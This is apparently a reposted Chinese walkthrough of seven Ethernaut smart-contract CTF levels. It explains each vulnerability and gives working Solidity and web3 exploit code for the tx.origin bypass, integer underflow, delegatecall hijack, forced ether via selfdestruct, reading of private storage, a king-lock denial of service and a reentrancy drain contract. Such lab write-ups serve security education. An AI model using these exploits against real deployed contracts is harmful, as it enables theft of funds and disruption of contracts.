Ethernaut闯关录(中))

Telephone
闯关要求

获取合约的owner权限

合约代码
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public { owner = msg.sender; }
function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }}
合约分析

前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的_owner。

这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上一个题目一样,我们这里需要另外部署一个合约来调用这儿的changeOwner:
Exploit:

pragma solidity ^0.4.18; contract Telephone {   address public owner;   function Telephone() public {    owner = msg.sender;  }   function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;    }  }}contract exploit {     Telephone target = Telephone(your instance address);     function hack(){        target.changeOwner(msg.sender);    }}
攻击流程

点击“Get new Instance”来获取一个实例:

之后查看合约的地址:

Ethernaut闯关录(中))

之后用上面的地址替换exploit中的地址,最终的exp如下

pragma solidity ^0.4.18; contract Telephone {   address public owner;   function Telephone() public {    owner = msg.sender;  }   function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;    }  }}contract exploit {     Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);     function hack(){        target.changeOwner(msg.sender);    }}

之后在remix中编译合约:

Ethernaut闯关录(中))

部署合约:

Ethernaut闯关录(中))

之后查看原合约的owner地址:

Ethernaut闯关录(中))

之后点击“hack”来实施攻击:

Ethernaut闯关录(中))

之后成功变换合约的owner

Ethernaut闯关录(中))

之后点击“submit instance”来提交示例即可:

Ethernaut闯关录(中))

Ethernaut闯关录(中))

Token
闯关要求

玩家初始有token20个,想办法黑掉这个智能合约来获取得更多Token!

合约代码
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances; uint public totalSupply;
function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; }}
合约分析

此处的映射balance代表了我们拥有的token,然后通关构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数的功能为转账操作,最下面的balanceOf函数功能为查询当前账户余额。

通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数

  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true;  }

在该函数中最为关键第一处就是\\”require\\”校验,此处可以通过“整数下溢”来绕过检查,同时这里的balances和_value都是无符号整数,所以无论如何他们相减之后值依旧大于0(在相等的条件下为0)。

那么在当前题目条件下(题目中token初始化为20),所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 – 1

Ethernaut闯关录(中))

攻击流程

点击“Get new instance”来获取一个实例

Ethernaut闯关录(中))

之后调用transfer函数向玩家地址转币:

Ethernaut闯关录(中))

之后等交易完成之后,我们可以看到玩家的代币数量会变得非常非得多,和我们之前预期的一样:

Ethernaut闯关录(中))

之后我们点击“submit instance”提交答案即可:

Ethernaut闯关录(中))

Ethernaut闯关录(中))

Delegation
闯关要求

获取合约的owner权限。

合约代码
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public { owner = _owner; }
function pwn() public { owner = msg.sender; }}
contract Delegation {
address public owner; Delegate delegate;
function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; }
function() public { if(delegate.delegatecall(msg.data)) { this; } }}
合约分析

在这里我们看到了两个合约,Delegate初始化时将传入的address设定为合约的owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的。

之后下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。

我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:

1、call 的外部调用上下文是外部合约 

2、delegatecall 的外部调用上下是调用合约上下文 

3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。

在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。

经过上面的简要分析,问题就变很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数:

contract.sendTransaction({data:web3.sha3(\\\"pwn()\\\").slice(0,10)});
攻击流程

点击“get new instance”来获取一个实例

Ethernaut闯关录(中))

之后通过fallback函数里的delegatecall来调用pwn函数更换owner:

Ethernaut闯关录(中))

Ethernaut闯关录(中))

之后点击“submit instance”来提交答案

Ethernaut闯关录(中))

Ethernaut闯关录(中))

Force
闯关要求

让合约的balance比0多

合约代码
pragma solidity ^0.4.18;
contract Force {/*
MEOW ? /\\\\_/\\\\ / ____/ o o \\\\ /~____ =?= / (______)__m_m)
*/}
合约分析

第一眼看上去——懵了,这是什么呀?一个猫???,合约Force中竟然没有任何相关的合约代码,感觉莫名奇妙。。。

经过查看资料,发现在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了。

那么接下来就非常简单了,我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。

攻击流程

点击“Get new Instance”来获取一个实例:

Ethernaut闯关录(中))

之后获取合约地址

Ethernaut闯关录(中))

之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约:

pragma solidity ^0.4.20;contract Force { function Force() public payable {} function exploit(address _target) public {    selfdestruct(_target); }}

编译合约

Ethernaut闯关录(中))

部署合约

Ethernaut闯关录(中))

之后调用“ForceSendEther()”函数,并传入合约的地址:

Ethernaut闯关录(中))

交易成功之后,再次查看合约的额度发现——“非零”

Ethernaut闯关录(中))

Ethernaut闯关录(中))

之后点击“submit instance”进行提及案例即可:

Ethernaut闯关录(中))

Ethernaut闯关录(中))

Vault
闯关要求

解锁用户。

合约代码
pragma solidity ^0.4.18;
contract Vault { bool public locked; bytes32 private password;
function Vault(bytes32 _password) public { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }}
合约分析

从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它。

这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。

攻击流程

点击“Get new Instance”之后获取一个实例

Ethernaut闯关录(中))

之后在console下运行以下代码:

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});

Ethernaut闯关录(中))

之后进行解锁:

contract.unlock(\\\"A very strong secret password :)\\\")

Ethernaut闯关录(中))

Ethernaut闯关录(中))

之后点击“submit”来提交答案:

Ethernaut闯关录(中))

Ethernaut闯关录(中))

King
闯关要求

合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。

合约代码
    pragma solidity ^0.4.18;
    import \\\'zeppelin-solidity/contracts/ownership/Ownable.sol\\\';
    contract King is Ownable {
    address public king; uint public prize;
    function King() public payable { king = msg.sender; prize = msg.value; }
    function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; }}
    合约分析

    从上面的代码中可以看到当国王被推翻时国王将会获得奖金,那么只要国王拒绝接受奖金就可以一直是国王。

    通过上面的代码分析,我们可以部署以下攻击合约,当原智能合约有新的king诞生时会向我们的合约退还之前的奖金,但是攻击合约不接收,直接revert()那么就可以永远占据合约的king不放:

    pragma solidity ^0.4.18;
    contract attack{ function attack(address _addr) public payable{ _addr.call.gas(10000000).value(msg.value)(); } function () public { revert(); }}
    攻击流程

    点击“Get new Instance”来获取一个实例:

    Ethernaut闯关录(中))

    之后先来查看一下prize值以及合约的king、合约的地址

    Ethernaut闯关录(中))

    之后我们在remix中编译并部署攻击合约:

    Ethernaut闯关录(中))

    合约部署地址:

    Ethernaut闯关录(中))

    之后再次查看king,发现已经变成了我们攻击合约的地址:

    Ethernaut闯关录(中))

    之后我们点击“submit instance”来提交该实例:

    Ethernaut闯关录(中))

    之后成功过关,当我们查看king时发现依旧是我们的攻击合约的地址:

    Ethernaut闯关录(中))

    Re-entrancy
    闯关要求

    盗取合约中的所有代币。

    合约代码
    pragma solidity ^0.4.18;
    import \\\'openzeppelin-solidity/contracts/math/SafeMath.sol\\\';
    contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances;
    function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }
    function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }
    function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } }
    function() public payable {}}
    合约分析

    从上面的源代码可以确定这里应该为以太坊里的重入攻击,这也是之前The DAO事件里黑客所用到的攻击。

    在这里我们重点来看withdraw函数,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数来实现。

    当然,这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多。

    根据上面的简易分析,我们可以编写一下EXP代码:

      pragma solidity ^0.4.18;
      contract Reentrance { mapping(address => uint) public balances;
      function donate(address _to) public payable { balances[_to] = balances[_to]+msg.value; }
      function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }
      function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } }
      function() public payable {}}
      contract ReentrancePoc {
      Reentrance reInstance; function getEther() public { msg.sender.transfer(address(this).balance); } function ReentrancePoc(address _addr) public{ reInstance = Reentrance(_addr); } function callDonate() public payable{ reInstance.donate.value(msg.value)(this); }
      function attack() public { reInstance.withdraw(1 ether); }
      function() public payable { if(address(reInstance).balance >= 1 ether){ reInstance.withdraw(1 ether); } }}
      攻击流程

      点击“Get new Instance”来获取一个实例:

      Ethernaut闯关录(中))

      之后获取instance合约的地址

      Ethernaut闯关录(中))

      之后在remix中部署攻击合约

      Ethernaut闯关录(中))

      我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:

      contract.donate.sendTransaction(\\\"0xeE59e9DC270A52477d414f0613dAfa678Def4b02\\\",{value: toWei(1)})

      Ethernaut闯关录(中))

      这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了:

      Ethernaut闯关录(中))

      查看balance,在交易前后的变化:

      Ethernaut闯关录(中))

      最后点击“submit instance”来提交示例即可:

      下篇后续奉上,敬请期待~

      原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34158.html

      (0)
      七芒星实验室's avatar七芒星实验室
      上一篇 2024年4月18日 下午5:43
      下一篇 2024年4月18日 下午5:45

      相关推荐

      发表回复

      您的邮箱地址不会被公开。 必填项已用 * 标注